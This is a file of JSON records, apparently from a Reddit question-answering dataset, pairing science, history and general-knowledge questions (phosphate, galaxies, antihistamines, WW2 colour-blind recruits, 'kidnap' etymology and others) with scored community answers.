{"q_id": "11phlc", "title": "how does the body get so much phosphate for ATP, proteins, blood etc. ", "selftext": "im going through respiration in biology (last year before uni) and i cant get around how much phosphate is involved, and how we get enough of it.\n\nif done some research, and it is found in meats, and animal products, which begs a further question, how do vegans get it?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/11phlc/how_does_the_body_get_so_much_phosphate_for_atp/", "answers": {"a_id": ["c6ogsnh", "c6oj9wk"], "score": [3, 2], "text": ["Phosphate is crucial for plant cell biochemistry too (cellular respiration, nucleic acids, protein phosphorylation, etc. are all common to both animal and plant tissues).  All animals get their phosphate from plants (either directly, or via other animals).  So vegans aren't doing anything different from other herbivores, in principle.  \n\nPhosphate, like nitrogen, is often limiting on plant growth, which is why it's often a component of soil fertilisers.  ", "Pretty much everything we eat will have phosphate in, think phospholipids in cells walls, DNA and various other structures. A quick google and I found a figure saying adults need around 700mg of phosphorus per day. Considering we consist of around 1% phosphorous, 100g of meat would contain plenty.\nAlso note how much we recycle phosphate groups, a key part in the respiration pathways. \n\nThe figures I used are a little sketchy but main points are the recycling and dietary sources. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2q11rj", "title": "How much Ancient Greek DNA is outside Greece?", "selftext": "So i asked a question on Ask Historians regarding the expansion in Greece. \n\n\n_URL_0_\n\n\nI am trying to get to the question of much Greek DNA has spread through the word. Essentially how much of an effect the spreading of the Greek empire changed the peoples DNA in the Aegean and beyond.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2q11rj/how_much_ancient_greek_dna_is_outside_greece/", "answers": {"a_id": ["cn20hbb"], "score": [6], "text": ["So [this](_URL_3_) is probably the paper that you want. \n\nThe authors^1 looks at a dataset of ~2500 people from all across Europe and for all pairs of individuals they search for regions of the genome where there are long stretches that the two individuals are the same. For reasons discussed [here](_URL_0_) and [here](_URL_2_), but primarily in the paper itself, knowing how long these stretches are, and how many of them any given pair of individuals share, we can get a sort of fuzzy half image of the full story. \n\nI'm not a good person to speak to the history angle of this, as I really don't know it. That said, there are two important things I think you should note. \n\nThe first is that ancient Greek DNA (defined as DNA that is directly descended from an individual who lived in ancient Greece) has already spread out into all of the neighboring areas and can even be found in lower concentrations on the other side of Europe. This can be seen simply as a consequence of 100+ generations of local migration causing ancestry to diffuse across the landscape.\n\nThe second is that there do appear to be signals of historical events in the data (and subsequent publications [such as this one](_URL_1_) have greatly expanded on these worldwide), but unfortunately the data can be seen as being consistent with a broad set of different scenarios, each of which might imply something different about what actually happened. For example, look at figure 4 in the first paper I linked. The curves show two alternate scenarios which are considered equally likely by the data. One includes a big spike in the number of shared ancestors who lived ~2000 years ago for individuals from multiple different pairs of countries across Europe, possibly dating some historical set of migrations from that period. Another, however, has all of the shared ancestors much more smeared out over the course of history, and the genetic data alone don't allow us to choose between them.\n\nAs I said, I'm not really the right person to talk about the history angle, but the Ralph and Coop paper (the first one I linked) includes some speculation about what it all means in their discussion section.\n________\n\n1. full disclosure, the second author is my advisor"]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/AskHistorians/comments/2q0i2t/how_much_greek_dna_is_outside_greece/"], "answers_urls": [["http://gcbias.org/category/genetic-genealogy/", "http://www.sciencemag.org/content/343/6172/747.abstract", "http://www.reddit.com/r/askscience/comments/1ee560/askscience_ama_we_are_the_authors_of_a_recent/", "http://www.plosbiology.org/article/info%3Adoi%2F10.1371%2Fjournal.pbio.1001555"]]}
{"q_id": "2ap9r3", "title": "what is the knowledge of self?", "selftext": "With a thorough knowledge of self we would be better people and achieve great things on earth as to serve our purpose. Our lives would have greater significance and we would be better people. We could contribute better to our communities. Great speakers talk about it, but I don't know what it is and how it is acquired. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ap9r3/eli5what_is_the_knowledge_of_self/", "answers": {"a_id": ["cixegwh"], "score": [2], "text": ["It is about overcoming the biased ego and seeing oneself in an honest, unflinching light... It can be frightening for many people, and many people are simply unprepared to face the raw truth. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3a143x", "title": "What will happen first, all stars in a galaxy being sucked into the black hole they're orbiting, or all the stars burning out?", "selftext": "Also if its calculable, do we know the lifespan of an average sized galaxy? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3a143x/what_will_happen_first_all_stars_in_a_galaxy/", "answers": {"a_id": ["cs8bcfo", "cs9c7l4"], "score": [139, 8], "text": ["**Short answer:** The stars burn out first. \n\n**Longer answer:** Black holes aren't cosmic vacuum cleaners- they behave just like any other normal gravitating mass at appropriate distances. If the sun was replaced by a black hole of the same mass right now, the earth and all the planets wouldn't suddenly get sucked in, but would continue on their orbits. Basically, you only get 'sucked in' if you hit the event horizon, which is sorta the point of no return. On top of that, the rate of interstellar collisions is abysmally tiny - even in galactic mergers the odds of a single star hitting another is almost non existent, so I don't expect many star-black hole encounters at all. \n\n\nThere's a very good book popular science book describing what would likely happen in the far future of an expanding universe called [The Five Ages of the Universe.](_URL_0_) Even if you don't check out the book, that Wiki page is quite good.\n\nAnyway, right now the universe is about 13 billion years old, but let's put that in scientific notation to make comparison easy: it's about 10^10 years old. It's projected that the last of the hydrogen for star formation will be exhausted in about 10^14 or 10^15 years(ish). That's 10,000-100,000x the current age of the universe. \n\nAt this time the universe will be populated by well separated galaxies (if they are even recognizable as galaxies), the last galactic mergers having taken place long ago, and the expansion of the universe being too great for any more to find each other. These galaxies are populated by white dwarfs, brown dwarfs, neutron stars, and black holes. Admittedly, it's the dwarfs that are more abundant. The neutron stars and black holes aren't the dominant part of that bottom line - most stars don't die in a supernovae, which is the primary mechanism for producing them these days. \n\nMany of the bodies get ejected in gravitational slingshot interactions, and many more end up forming binaries which decay by the emission of gravitational waves. I wouldn't be surprised if a very large number of cold stellar remnants find a black hole in this time. \n\nAnyway, massive black holes will have lifetimes against decay by Hawking radiation of 10^(A big number) years. For example, a solar mass black hole has a lifetime of 10^84 years. At this point, there's really no analogy to imagine how long this is.\n\nIf the proton is unstable - meaning, if it can decay but with a really long half-life (which currently this is unknown) - eventually all the bodies made of matter will decay. After 10^50 years or so, it will be just black holes and sparse particles, until the black holes decay by Hawking radiation. The end-game is scattered particles being more and more isolated as the expanding universe drives them all further and further apart, as the photons in the universe get redshifted away to nothing. Entropy will reach a maximum, and nothing interesting will happen anywhere ever for the rest of eternity. \n\nThis is called the heat death of the universe :D", "It's a common misconception to see galaxies as giant solar systems, with the black hole in the center as the Sun, all stars in the galaxy orbiting it like planets orbit the sun. The major difference is mass and number.\n\nAll planets combined make up about 0.1% of the Sun's mass. Our star is completely dominating the gravitionnal scene around here, *of course* we orbit it, it's there, it's close, it's huge !\n\nNow, take the central massive black hole of our galaxy. Its estimated mass is 4.10^6 solar mass, 4 million time the mass of the sun. The combined mass of all the stars in the milky way and the local dark matter Halo is 6.10^12 solar masses, 1 million times more !\n\nYou can't really expect the stars to orbit the supermassive black hole. At this point, it's pretty much invisible to any stars not in its direct vicinity. The stars are orbiting themselves, the whole Milky Way system is a self-gravitating system, its own mass is keeping it together. It's like a pack of hundreds of dog, none of them will go very far from the pack, or it will come back fast, whereas the solar system is like a guy having 8 baby corgis on a leash, the dogs don't have a say where they go, because they can't fight the leash."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/The_Five_Ages_of_the_Universe"], []]}
{"q_id": "1ugduz", "title": "how can we instantly know when music is out of tune?", "selftext": "Even in songs we have never heard of or just improvising, it's easy to notice when a note just doesn't belong in there. That's the idea of scales in music, but how exactly can we recognize something like that?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ugduz/eli5_how_can_we_instantly_know_when_music_is_out/", "answers": {"a_id": ["cehv4s8"], "score": [6], "text": ["You're asking a bit of a difficult question because a lot of what sounds \"good\" to the ears is relative.\n\n\nFrom a technical standpoint anything that does not fall within the diatonic multiples of a scale/key is \"out of tune.\" Think of your \"Doe Re Mi Fa So La Ti Doe\" scale. The first DOE and the second DOE are the same note, played an octave apart. This means if our \"Doe\" is an A at 440Hz then the next octave of \"doe\" will be around 880Hz. Simple math. A pitch at 870Hz will be 10 cycles off of an actual A, therefore sounding out of tune.\n\n\nSo when you look at music the pitches are all very relative to one another. This is not a perfect answer because there is music built around a non-diatonic model (more than seven notes in an octave) and there are ways of performing music with concepts of \"dissonance\" that do not reflect common \"in tune\" classical ideas of music. Also theres a slight difference in the frequencies of natural harmonics as opposed to mathematical octaves but I don't know too much about the difference. It's the reason piano's must be tuned very specifically, instead of just by some wanker with a guitar tuner.\n\n\nGoing further on this point to \"hear\" something out of tune you can hear the vibrations waver. Dissonance is a clashing of harmonic frequencies. Think of throwing a pebble into a pond and creating ripples. Introduce another pebble at another location and the ripples will interact with one another, causing fluctuations in the pattern. This analogy can be applied to the vibrations of sound. The mixture of various frequencies \"paints a picture\" so to speak that our ears pick up.\n\n\nSo when you hear the shrill atonal screeching violins coming to a crescendo in a horror movie it is because of the dissonance creating an uneasy feeling with lots of tonal clashing, think of the main theme to Psycho as the heroine is being stabbed. In contrast, a light canon by Mozart, which has lots of consonance and pleasant sounds, paints a much less \"harsh\" picture. The vibrations move together much more coherently.\n\n\nGoing a little further on this idea of \"consonance vs dissonance\" for a long time the idea of \"dissonance\" was frowned upon in classical music. To be fair, it does make some seriously ugly noises, and especially when taken out of context. With the advent of some of Beethoven's crazier melodic ideas (such as his Grande Fugue) the introduction of very controlled dissonant melodies started flooding in over the 19th and 20th centuries. Then we get composers like Stravinsky and Shostakovich paving the way for the avant garde and post-modern, people like Michael Gordon and John Adams.\n\n\nIt is all a very interesting thing to look into, especially if you have a passion for innovative and technically complex music. A lot of the \"groundbreaking new ideas\" I hear in these new forms of music such as prog-rock and math-jazz and even intelligent dance music or whatever you'd want to call it are not actually new ideas at all. People have been creating masterful music presented in a different context for hundreds of years now and it seems that we are only barely catching up."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "15odqb", "title": "how does law enforcement match a bullet to a specific gun?", "selftext": "I get matching it to a model, but how do they verify the specific gun?  Do guns leave some type of ballistic finger print on rounds, and if so, is that fingerprint made on purpose or a natural result of minor manufacturing inconsistency?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/15odqb/eli5_how_does_law_enforcement_match_a_bullet_to_a/", "answers": {"a_id": ["c7oado9", "c7ob30x", "c7of1au"], "score": [25, 6, 4], "text": ["All guns have a series of spiral grooves cut into the inside of the barrel. This groove pattern causes the bullet to spin which helps it fly straight.\n\nThis groove pattern is left on the bullet as it leaves the gun. Due to minor manufacturing inconsistencies the exact pattern is unique to every gun.\n\nWhen running a ballistic test the police will test fire rounds from a given gun and compare the test bullets to bullets recovered at the crime scene. If the groove pattern matches up then there's a good chance it's the same gun.", "I'm not sure it's ever been shown to work reliably. ", "It really isn't as precise as you might think. A gun with unique rifling or barrel damage might help.\n\nThe other thing you are forgetting is that the cases also have markings. The firing pin leaves an impression in the primer which could help match to a gun type, or if it has a defect a specific gun. Also, semi-auto pistols will leave extractor marks. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "20m1ws", "title": "the 11 dimensional space, m-theory.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/20m1ws/eli5_the_11_dimensional_space_mtheory/", "answers": {"a_id": ["cg4m0kv"], "score": [95], "text": ["Grab a book, hold it by the spine and let the pages dangle, just far enough apart that they're not touching. They're the Membranes that M-theory gets the M in it's name from. \n\nEach one of those pages/membranes represents a universe and they're all connected. Almost, but not quite, existing in the same spot. \n\nIt's this multi-dimensional concept that M-theory uses to explain why gravity isn't as strong as the other forces. \n\nIt takes an 11th dimension to explain super-symmetry (which the 10 dimensional version doesn't do so well) \n\nIt also goes a long way to explain things like entropy, the expansion of the universe, and just the general attempt at unifying theory of everything that all string theory stems from. (imagine the strings are the very building blocks of the universe/s)\n\nAnd now for the part I like most about M-theory, how it explains the big bang; That book you're holding, shake it a little, the pages will ripple together, and then \"bump\" one another, quickly transfering energy from one to another. So that it's not a single point exploding, but rather everything, everywhere exploding at once. \n\nAlso Please note, this is more from it's philosophical standpoint, mainly as the math is all a little wibbly-wobbly timey-wimey and I assume you not asking about the details of that for a term paper.\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "14jsms", "title": "Can plants perform photosynthesis using non visible light? (e.g. gamma rays)", "selftext": "If you bombarded a plant with just gamma rays would it be able to perform photosynthesis or is photosynthesis limited to a certain part of the electromagnetic spectrum? If it is, why?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/14jsms/can_plants_perform_photosynthesis_using_non/", "answers": {"a_id": ["c7dq1dw", "c7drfe5", "c7dtjnl", "c7duhij"], "score": [68, 15, 3, 2], "text": ["From _URL_0_ :\n\n\"Plants could use the ultraviolet or infrared section of the spectrum for photosynthesis but here is why they don't.\n\n**Ultraviolet light** Each photon of ultraviolet electromagnetic radiation contains too much radiation for most biological systems. Its high energy drives electrons from molecules and breaks weak bonds. It is absorbed by oxygen in the forms O2 and O3 (ozone). The ozone layer of our atmosphere protects life on the planet from high levels of ultraviolet radiation.\n\n**Infrared light** Each photon of infrared electromagnetic radiation does not contain enough energy to do useful work in a biological system. Cells do absorb this radiation but it contains insufficient energy to excite electrons of  molecules and is thus converted to heat. Infrared radiation is absorbed by water and by carbon dioxide in the atmosphere.\n\n**Visible light** Each photon of visible light contains just enough energy to excite the electrons of molecules without causing damage to the cell.\"\n\nNow, also important is that the Sun peaks in wavelengths around the visible light spectrum. That is why our eyes adapted to see a range of wavelengths that we call visible light: it's the brightest and most useful range of wavelengths that are available to be seen.", "There are reports of fungi able to capture gamma rays to reduce carbon ([wiki](_URL_0_)). This phenomenon not characterized very well at the moment, however.", "Mostly NO, but they might be able to use a trivial amount in the UV spectrum.\n\nPhotosynthesis occurs in chloroplasts where large protein complexes called Photosystems I and II use light to excite electrons, evolve oxygen, pump protons across the thylakoid membrane (ultimately generating ATP), and reduce NADPH.  Photosystem I and II absorb light to excite electrons, and do so at 700nm and 680nm (red light).\n\nTo efficiently collect photons, the reaction centers of the photosystems are surrounded by proteins that contain light-absorbing molecules like chlorophyll and carotenoids.  These are capable of absorbing higher-energy photons and channeling the energy to the photosystems.  Thus, plants are able to use both red and blue light, while largely transmitting green (hence plants look green).\n\nFor this question, you can imagine that some photons with higher energy just outside of the visible spectrum will get absorbed.  However, this effect will be negligable, both because the plant protects itself from these harmful high-energy photons, and because the absorption spectrum for the absorbing pigments is inefficient at these wavelengths.\n\nGamma rays would simply ionize the hell out of everything and kill the plant.  The hard part of photosynthesis, in the first place, is not so much collecting the photons, but being able to withstand the light from the sun.  Photosystems are damaged all the time and have evolved such that they reaction centers can be efficiently replaced without replacing the entire protein complex.  They are fragile, and much of the success of plants has been the ability to protect the photosynthesis machinery from damage.\n\n", "Here is a great graph of the absorption specturm of chlorophyll _URL_1_ .  Chlorophyll is the mechanism responsible for photosynthesis in plants.  Notice that green does not get absorbed, and why is that?  Plants are green, so they REFLECT green light.  \n\nEdit 1:  For those that want even more detail on the different types of chlorophyll _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.botany.uwc.ac.za/ecotree/photosynthesis/ultrainfra.htm"], ["http://en.wikipedia.org/wiki/Radiotrophic_fungus"], [], ["http://www.google.com/imgres?imgurl=http://dedunn.edublogs.org/files/2011/06/absorption-spectra-29de0jr.jpg&amp;imgrefurl=http://dedunn.edublogs.org/2011/06/08/chlorophyll-and-absorption-of-light/&amp;h=601&amp;w=801&amp;sz=25&amp;tbnid=q1mHKj5K00vAcM:&amp;tbnh=129&amp;tbnw=172&amp;zoom=1&amp;usg=__cMkpVzIYv-mxD4WXeOS3T5-cJq0=&amp;docid=Y7zT1z4hXVrSEM&amp;sa=X&amp;ei=CP_EUInyD83MigKKl4CICA&amp;ved=0CDcQ9QEwAg&amp;dur=1705", "http://www.firstrays.com/Pictures/Chlorophyll.jpg"]]}
{"q_id": "8z6aua", "title": "what is the difference between allergy meds zyrtec, claritin, and benadryl?", "selftext": "They all help with allergies so I usually just take whatever I have in the cabinet.  Is there a difference between them?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8z6aua/eli5_what_is_the_difference_between_allergy_meds/", "answers": {"a_id": ["e2geaqu", "e2gemsz", "e2gk5vm", "e2gxmlx"], "score": [2, 4, 6, 3], "text": ["They all function fairly similarly, although be aware that Benadryl (diphenhydramine) typically has a much more pronounced sedative/drowsiness effect.", "The active ingredients in all three are different, but act in the same manner, as an antihistamine.\n\nBenadryl's active ingredient, *diphenhydramine HCl,* can cross the blood-brain barrier and make you drowsy. The same is true of Zyrtec.\n\nClaritin, by contrast, is less likely to do so, because its active ingredient doesn't cross that barrier as readily.\n\nEach drug might work better or worse on a given individual.", "Pharmacist here. \n\nThe two users before me explained it well; each of them have different active ingredients but all work in a similar manner as what we call an \"antihistamine\". \n\nHowever, I WOULD like to point out that while most people do become drowsy after taking Benadryl (as it does affect the brain), a small portion of people do not and that's really true for any of the other antihistamines which supposedly are \"non-sedating\". \n\nI've met plenty of patients who complain that Loratadine (Claritin) makes them sleepy (though not for me) and I myself get drowsy with Fexofenadine (Allegra) which is another allergy med that's supposed to be non-sedating. ", "They all work by blocking the H1 histamine receptor, but they have different molecular structures that change how they move through the body and how well they block the receptor. Benadryl only lasts for several hours, while the others last about a day. Benadryl is much more able to cross from the body into the brain than the others, and cause drowsiness, since histamine in the brain regulates wakefulness."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1hln0q", "title": "why was morsi overthrown?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1hln0q/eli5_why_was_morsi_overthrown/", "answers": {"a_id": ["cavk4g8", "cavk7f8", "cavsgag"], "score": [12, 74, 16], "text": ["Or rather, the whole situation of the past year in Egypt.", "Because the Egyptian people (and the Egyptian army) didn't like what he was doing.  Basically what he was doing (and this is very simplified) was making a new constitution for the country without allowing the public to have any input on it.  \n\nBecause the people drafting the new constitution were all members of the Muslim Brotherhood, people were concerned that it would not properly represent all Egyptians.  When he refused to back down, he was overthrown.\n\nEDIT: It appears I oversimplified the situation to the point where my statements were no longer accurate.  The constitution has passed already.  As I mentioned in a post below, the situation is fairly complicated, and involves a power struggle between the military and the (elected, but just barely) government.  Throw in a population that is under employed and an economy that is going nowhere, and you have the perfect recipe for protests and a military coup.", "The [BBC](_URL_0_) have a great anaylsis of the situation:\n\n > During Mr Morsi's year in office, he fell out with key institutions and sectors of society, and was seen by many Egyptians as doing little to tackle the country's pressing economic and social problems.\n > \n > Egypt became ever more polarised between Mr Morsi's Islamist supporters and their opponents, including leftists, liberals and secularist"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.bbc.co.uk/news/world-middle-east-23146910"]]}
{"q_id": "39tfhe", "title": "why are my karma scores sometimes different on my account page and the thread itself?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/39tfhe/eli5_why_are_my_karma_scores_sometimes_different/", "answers": {"a_id": ["cs6a4mf"], "score": [2], "text": ["Reddit \"fuzzes\" post scores that it displays so that spammers or anyone else trying to cast multiple votes can't tell if they were really effective or not."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "11n9uw", "title": "please explain me politics.", "selftext": "I have no idea what a republican is nor do I know what a democrat is, what they do, or how they came to be. I am 14 years old, and don't think that I will ever learn this stuff in school, and am too ashamed in myself to ask anyone that I actually know about this stuff. So I humbly request you guys to explain to me everything about politics, from why so many people don't like Obama, to what a democrat is.\nI'm 100% serious and yes I am aware that I am a dumb ass, but asking here won't hurt right? I mean it's Reddit.\n", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/11n9uw/eli5_please_explain_me_politics/", "answers": {"a_id": ["c6o3qw3"], "score": [2], "text": ["It's an easy concept.  A \"republican\" is a title given to a group of people that think one thing and \"democrat\" is a title given to somebody who believes another thing.  Let's take a very simple example (this isn't what really happens):  There is a group of people.   A couple people like cake.  A couple of them don't like cake.  And some people don't really care.  Now in the classroom the people vote to decide what happens, do they have cake or have something else?  The people who like cake form their own group, called \"republicans\", because they like cake.  The people who don't like cake form a group called the \"democrats\", because they don't agree with the people who like cake.  Now both these groups decide that in order to have the most votes over whether or not the entire group gets cake, they need to convince the people that don't have a preference to vote for their side.  So each group, the democrats (cake-haters) and the republicans (cake-likers) choose somebody from their group to go up in front of the undecided people and tell them why they're right.  So the republicans choose one person and that person tells everyone why cake is great.  And then the democrats choose one person and that person tells everyone why cake sucks.  And whoever makes a better argument gets the most undecided people to vote for their side.  Let's say the republicans convince more people that having cake is a good idea. Then, when it comes time to vote, having cake is voted for the most, and the class has cake, even though the democrats don't want it.\n\nThis is essentially what happens in politics, but on different scales.  Each of the fifty states elects people to represent that state.  Two people, each with different views, go up and try to convince the people to vote for them.  The one that gets the most votes becomes the representative.  Each state elects multiple people to run the government of that state.  And then THESE people elect who is going to be president through the electoral college.  \n\nBasically, the republicans want to get a lot of guys in congress because then they can have the most votes in what laws get passed in America, and have their ideas go through.  And the democrats want the same thing.  And almost always, it ends up being a mix of both.  That way, republicans can't just pass laws that are consistent with ALL their views, and neither can democrats.  It balances out.  That's why, every year, the democrats and republicans pick somebody to run for president.  The president represents each political parties views, and if they get elected, will bring that parties views into congress.\n\nA lot of people don't like Obama because either\n\nA) they are a republican, and the ideas of democrats and republicans don't agree, that's why they are two separate parties\n\nor\n\nB) They don't like what has happened in the nation, and blame Obama for it because he is the head of the nation.\n\nTo find out what democrats believe (what ideas they have), visit [their website](_URL_1_), and to find out what republicans believe, look at [this](_URL_0_)\n\nWhat either side (democrat or republican) believes, or what they think about an issue like taxes or energy, is called their platform.\n\nDemocrats think we should fix the economy and energy crisis by doing something, while republicans think we should fix them by doing something else.  \n\nThen, it's up to the people to decide who they agree with and join a party.  If they agree with the democrats, they are a democrat. If they agree with the republicans, they are a republican.  \n\nThen there's all the in-betweens.  If you're not sure who you agree with, than you look for who makes the better argument on what will work better.\n\nThere are political parties for people who believe in some of one, and some of the other, or neither of them.  \n\n\nPolitics is all about deciding who is going to be in charge of a nation, in this case the United States."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.gop.com/our-party/", "http://www.democrats.org/?nosplash=true"]]}
{"q_id": "ap137k", "title": "French-speaking communities have continuously lived in the United States for centuries after the Louisiana Purchase. Besides Puerto Rico, have any Spanish-speaking communities continuously survived within the US?", "selftext": "Were the initial Spanish-speaking settler communities in California, Texas, and the Southwest completely absorbed into Anglo-American society or did any of them keep their language traditions through the 20th century?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/ap137k/frenchspeaking_communities_have_continuously/", "answers": {"a_id": ["eg6l64r"], "score": [3], "text": ["In southeastern Louisiana live the Isle\u00f1os\u2014a particular subcategory of Louisiana Creoles, descendants of Canary Islanders who settled in the state in the colonial period. I don't know enough about them to do them justice, but you should look them up. They do still speak a colonial variant of the Spanish language, although it is much more endangered than is Louisiana French. Throughout the 20th century, though, it was certainly more extant than it is today. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "a32spn", "title": "Colorblind recruited in WW2 to see camouflage?", "selftext": "A poster on AskReddit claimed \u201cpeople with my specific brand of color blindness were roped into the Air Force in WW2 because they could distinguish German camouflage from the skies\u201d. Could someone tell me more about this?\n\nHow is this related to the people in WW2 who had eye surgery to see into the ultraviolet?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/a32spn/colorblind_recruited_in_ww2_to_see_camouflage/", "answers": {"a_id": ["eb3xwfr", "eb4hqhg"], "score": [2, 4], "text": ["Follow up question\n\n\\ >   How is this related to the people in WW2 who had eye surgery to see into the ultraviolet? \n\n & #x200B;\n\nDid that really happen?My understanding is that human eyes, even after surgery, could only see the smallest % of the ultraviolet wavelength, and that its only ever been a side effect of cataracts or cataract surgery, never an intentional undertaking. However this is heresay more than anything else. So is this realistically possible, the sceptic in me says no, however I'd like to understand it in more detail.", "I have never heard of the second part of that, but the first has enough support that it seems to be true, even though finding direct documentary evidence to support it seems difficult, but plenty of folks reporting selection in the old times on the basis of their color-blindness. Many of these are anecdotal, such as [_URL_2_](_URL_2_)\n\n\"The Sergeant said afterwards I was \u2018a first-class shot\u2019 in the Regiment - at least I think that's what he said!!\n\nIt transpired that colour-blind people can 'see through' camouflage - I certainly could. It would have been useful in battle. The Germans used this - but the British didn't bother.\"\n\nor from [_URL_3_](_URL_1_)\n\n\"My friend Bob (RIP) was recruited specifically because he was r/G/B/Y color blind. He said the camouflage stood out so easily that it wasn't even a challenge for him to spot.Good thing he liked riding in choppers.\" or \"This was also the case in Canada. My Grandfather (whom I never met) fought in the second world war as a pilot because he was red/green deficient. I inherited this now useless deficiency. **\"**\n\nThis sort of thing is hardly scientific, but there is just so much of it, it seems to have credence. I am quite sure I read, but cannot source, that a US Army recon platoon in Italy consisted solely of color-deficient personnel with the exception of the officer, who needed to read the map. I suspect that this map-reading requirement (a military map has seven colors) is why the military requires color capability today, as it's a mandatory skill for all combat soldiers.\n\n & #x200B;\n\nScientific evidence does exist at least from 2006. [_URL_0_](_URL_0_)\n\nIt's a short note, I copy in its entireity.\n\n\"Biologists at Cambridge University and the University of Newcastle upon Tyne in England find that color-blind men are extraordinary connoisseurs of khaki.\n\nRed-green color blindness is caused by an unusual form of a light receptor in the eye, which is sensitive to a different range of colors than normal. This variant type of receptor makes it harder to distinguish among red, orange, yellow, and green. The resulting shift in color perception bestows extra sensitivity to other hues, however, as the researchers demonstrated by asking subjects to rate the similarity of 15 circles painted in tones of khaki. People with regular vision struggled with the test, while color-blind men aced it. The findings lend credence to the theory that people with red-green color blindness make good hunters or soldiers because they are not easily fooled by camouflage. The researchers hypothesize that the variant form of receptor could be an evolutionary relic from the time when early humans needed to spot predators or food hidden in branches and leaves\"\n\nThe other reason is that normal color-vision capable persons are used to evaluating a distinction in objects by a color differentiation. Which works fine in routine life, but in the military, you are hiding green things amongst a green background. Monochromatic (totally color-blind) folks in particular instead look for edges and contrast, which is much harder to conceal."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://discovermagazine.com/2006/mar/colorblind-kakhi-brown-cambridge/", "https://www.reddit.com/r/todayilearned/comments/1mfrvh/til_that_at_one_time_the_us_army_used_color_blind/", "https://www.bbc.co.uk/history/ww2peopleswar/stories/99/a2107199.shtml", "https://www.reddit.com/r/todayilearned/comments/1mfrvh/til\\_that\\_at\\_one\\_time\\_the\\_us\\_army\\_used\\_color\\_blind/"]]}
{"q_id": "2yq16v", "title": "where did the term \"kidnap\" come from? why is the term used for adults?", "selftext": "I always thought that its called kidnap because of a kid being taken away.. but when an adult is taken, they still use the term kidnap.. Wouldn't it be abducted? If I was taken by force illegally, I'd say they kidnapped me out of habit, but I'd feel weird because i'm not a kid..? so wouldn't it be abducted", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2yq16v/eli5_where_did_the_term_kidnap_come_from_why_is/", "answers": {"a_id": ["cpbzave", "cpc3edn"], "score": [4, 5], "text": ["Vague memory of the baby of Charles Lindbergh being snatched as origin of term.  But I'm not Google. ", "After googling the etymology of the word there aren't many big surprises.  Often sited as the first written record of \"kidnap\" was in 1682 and referred to a kid being nabbed - a word meaning stolen still in use today (at least in the UK) and was in the context of a 13 year old abductee.  Someone else has said that at the time print was becoming more popular and there just weren't many words meaning abducted (this word itself seems to be a newer word than kidnap).\n\nMy guess is that the tabloids of the time thought the word was more easily understandable by the public even though it was originally associated with a child.\n\nAnother comment on the first hit on google says that kid could actually be a goat and it's in reference to stealing livestock.\n\nSo yeah they just started using it for everyone I think because the masses already knew what that word meant.\n\nMaaaaaybe you could guess a little and say the phrase came from kin-nap.  Kin meaning family or very close friends and it just morphed and changed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2oaseg", "title": "What has been the biggest city in the world over the centuries?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2oaseg/what_has_been_the_biggest_city_in_the_world_over/", "answers": {"a_id": ["cmldtll"], "score": [2], "text": ["Though there's a fair amount of disagreement among scholars of city population at various points in history Tertius Chandler's *Four Thousand Years of Urban Growth: An Historical Census* is the reference text on this. The position for biggest city has shifted around a fair bit but some of those who've repeatedly topped the list include Memphis, Beijing, Babylon, Thebes, Constantinople and Hangzhou."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
